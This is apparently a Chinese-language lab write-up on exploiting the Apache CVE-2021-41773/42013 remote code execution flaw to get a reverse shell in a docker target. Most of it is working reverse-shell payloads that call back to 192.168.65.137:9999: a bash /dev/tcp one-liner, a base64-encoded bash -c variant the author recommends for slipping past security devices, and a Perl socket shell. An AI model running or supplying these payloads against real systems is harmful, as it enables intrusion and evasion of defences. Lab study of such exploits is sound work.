CVE-2021-41773-反弹shell
apache-CVE-2021-41773/42013 中存在RCE,可远程执行代码,本想利用bash反弹一个shell,奈何一直没有成功
‘’’
bash -i >& /de/tcp/ip/port 0>&1
‘’’
经典的bash反弹,确定环境和语句都没问题后,本地查看了靶机的日志,看到有如下报错,
很奇怪,为什么会有一个syntax error:Bad fd number的错误呢,而在本地kali中直接执行该语句,是没有问题的,百思不得姐,网上百度了以下,最终发现,原来不止我一个人,https://www.cnblogs.com/peace-and-romance/p/15726877.html
在较新的ubuntu中,/bin/sh 指向的为dash,而我们反弹shell中用到的为bash,dash和bash语法方面不一样,在靶机环境中看下/bin/sh的指向
果然是指向了dash,网上的解决办法是将dash重新变回bash,或者将shell脚本放在文件中执行,但真实的攻击环境中,权限不够,肯定是该不了sh的指向的,其实可以利用bash -c 参数,反弹shell POC如下
bash -c '{echo,payload_base64}|{base64,-d}|{bash,-i}'
将payload 先编码再解码,这样可以不仅可以防止反弹shell的特征太过明显,导致被安全设备拦截,还可以做到一致性通用sh环境,新的payload如下:
将bash -i >& /dev/tcp/192.168.65.137/9999 0>&1
先base64编码得:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEzNy85OTk5IDA+JjEK,替换payload_base64,最终可得
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEzNy85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}'
重新执行以上payload,查看监听处,反弹成功,如图
perl反弹
查看上次per反弹脚本的日志,应该是语法的问题,
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A64NNRqq-1644139246113)(vx_images/194151417234810.png)]
语法报错,双引号没有闭合,难道是上次太急写错了?
重新来一次,payload如下:
perl -e 'use Socket;$i="192.168.65.137";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这次果然成功,如图
推荐freebuff上总结的一篇非常好的反弹shell的博文,https://www.freebuf.com/articles/web/247967.html,可参考。
虽然反弹了shell,成功远程到了系统,可是得到的用户是daemon,这也很正常,因为docker环境下不可能得到高权限的用户,下一步自然是提权等下个章节再写上